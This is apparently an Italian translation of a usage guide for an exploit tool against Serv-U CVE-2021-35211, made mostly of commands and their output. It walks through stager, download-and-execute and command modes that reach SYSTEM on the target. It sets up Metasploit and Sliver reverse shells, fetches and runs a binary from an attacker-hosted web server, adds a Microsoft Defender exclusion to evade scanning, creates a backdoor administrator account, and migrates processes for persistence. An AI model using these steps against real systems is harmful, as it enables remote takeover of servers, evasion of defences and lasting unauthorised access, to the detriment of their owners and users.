
Serv-U-FTP CVE-2021-35211 exploit
L'exploit non funziona sempre, ma funziona abbastanza da eseguire shellcode in circa 1 su 5 o 6 tentativi. Tuttavia, a volte un exploit fallito può mandare in crash il server Serv-U. Assicurati che le tue regole di ingaggio permettano il rischio di perdita o degrado del servizio. I sintomi osservati nei test includono:
Caveat emptor.
Le versioni sono importanti. Questo exploit utilizza indirizzi ROP hard-coded validi solo per la versione 15.2.3.717 di Serv-U. Potremmo essere in grado di aggiungere altre versioni, per favore chiedi se ti serve che funzioni con versioni diverse di Serv-U o Windows.
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717
Richiede i seguenti argomenti:
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...
Ci sono tre modalità (o payload) che puoi eseguire in un attacco riuscito:
stageexecdownloadexecSe l'exploit ha successo, esegue uno stager di shellcode compatibile con Metasploit/Sliver. È il meno affidabile di tutti i payload; considera downloadexec come alternativa. Esegui in questo modo:
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort
positional arguments:
stageHost Hostname o indirizzo IPv4 della tua istanza di staging shellcode Metasploit/Sliver
stagePort Numero di porta per la tua istanza di staging
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esci
stageHost e stagePort punteranno a un handler in ascolto sulla tua macchina Sliver/Metasploit. Puoi scegliere qualsiasi payload tu voglia, ma ho scoperto che l'unico che funziona in modo affidabile è windows/x64/shell/reverse_tcp. È un peccato perché questa non è una shell crittografata e dovrai verificare le tue regole di ingaggio prima di lanciare qualcosa del genere.
Ancora una volta, caveat emptor.
Impostalo in Metasploit in esecuzione sulla tua macchina kali in questo modo:
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.
Quindi esegui l'exploit:
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Sulla macchina kali dovresti vedere la richiesta di stage e l'avvio della shell command:
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000
msf5 >sessions -i 6
[*] Starting interaction with 6...
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system
Il supporto di Sliver nel payload stager è altamente sperimentale e raramente funziona. Se funziona, normalmente vedrai le sessioni avviarsi e morire immediatamente. Ma se ottieni una sessione che non termina immediatamente, puoi prendere provvedimenti per mantenere l'accesso Sliver migrando verso un processo diverso.
Sul tuo server Sliver esegui il comando stage-listener per configurare il tuo listener. Vedi la documentazione di Sliver per maggiori dettagli sullo staging:
elvis@h:/ehome/haggis$ sudo sliver-server
███████╗██╗ ██╗██╗ ██╗███████╗██████╗
██╔════╝██║ ██║██║ ██║██╔════╝██╔══██╗
███████╗██║ ██║██║ ██║█████╗ ██████╔╝
╚════██║██║ ██║╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████║███████╗██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝╚══════╝╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options
[*] Check for updates with the 'update' command
sliver >
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode
Esegui l'exploit in modalità stage:
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Se l'exploit funziona (e funziona molto raramente con payload Sliver o Meterpreter), vedrai qualcosa del genere (e sì, Sliver ha inventato quel nome di payload da solo!):
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC
sliver > sessions -i 4
[*] Active session ARTISTIC_PANTIES (4)
sliver (ARTISTIC_PANTIES) > info
ID: 4
Name: ARTISTIC_PANTIES
Hostname: WIN-EMCK6E5O0DI
UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
Username: NT AUTHORITY\SYSTEM
UID: S-1-5-18
GID: S-1-5-18
PID: 3956
OS: windows
Version: Server 2016 build 20348 x86_64
Arch: amd64
Remote Address: example.com:57071
Proxy URL: none
Poll Interval: 1
Reconnect Interval: 60
La prima cosa da fare è migrare verso un processo diverso perché c'è una buona probabilità che la tua sessione Sliver muoia e non torni, e al momento non conosco la causa principale.
sliver (ARTISTIC_PANTIES) > ps
pid ppid owner executable session
=== ==== ===== ========== =======
0 0 [System Process] -1
4 0 System 0
...
3872 728 NT AUTHORITY\SYSTEM svchost.exe 0
4868 728 BUILTIN\Administrators Serv-U.exe 0
4636 868 BUILTIN\Administrators dllhost.exe 0
sliver (ARTISTIC_PANTIES) > migrate 3872
[*] Successfully migrated to 3872
A questo punto dovresti avere una sessione Sliver solida, immune agli imprevisti di Serv-U e di questo exploit.
La modalità più affidabile e meno probabile di essere rilevata dalla sicurezza endpoint di Microsoft Defender. Questo perché utilizza un comando Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") per aggiungere un'esclusione di directory a Microsoft Defender in modo che i binari Sliver/Meterpreter/qualunque non vengano scansionati per malware. Questo ti proteggerà da Windows Defender, ma niente di più; dovrai tenere conto di altre tecnologie di sicurezza endpoint, IDS di rete, ecc.
In caso di successo, scarica un binario da un URL e lo esegue. Avrai bisogno di un webserver che ospiti il tuo file eseguibile. Ho usato Python, ma nota che sto testando su una rete locale senza SSL. In exploit reali dovrai verificare le tue regole di ingaggio se vuoi usare URL non crittografati.
Non per la prima volta: caveat emptor.
Esegui un semplice listener HTTP in questo modo:
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Con il listener in esecuzione puoi eseguire l'exploit:
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Dovresti vedere qualcosa del genere nel tuo listener:
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -
Il target eseguirà calc.exe e riavvierà il servizio Serv-U per permettere agli utenti di riconnettersi. Nota che l'eseguibile non mostrerà una finestra, ma se esegui questo esempio dovresti vedere wincalc.exe in Task Manager.
In caso di successo, esegue un comando sul target. Esegui in questo modo:
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.
Questo exploit tende purtroppo a mandare in crash il processo remoto. Generalmente si riavvia e sto cercando di vedere se posso renderlo più stabile, ma fino ad allora per favore ricordati: verifica le tue regole di ingaggio e caveat emptor.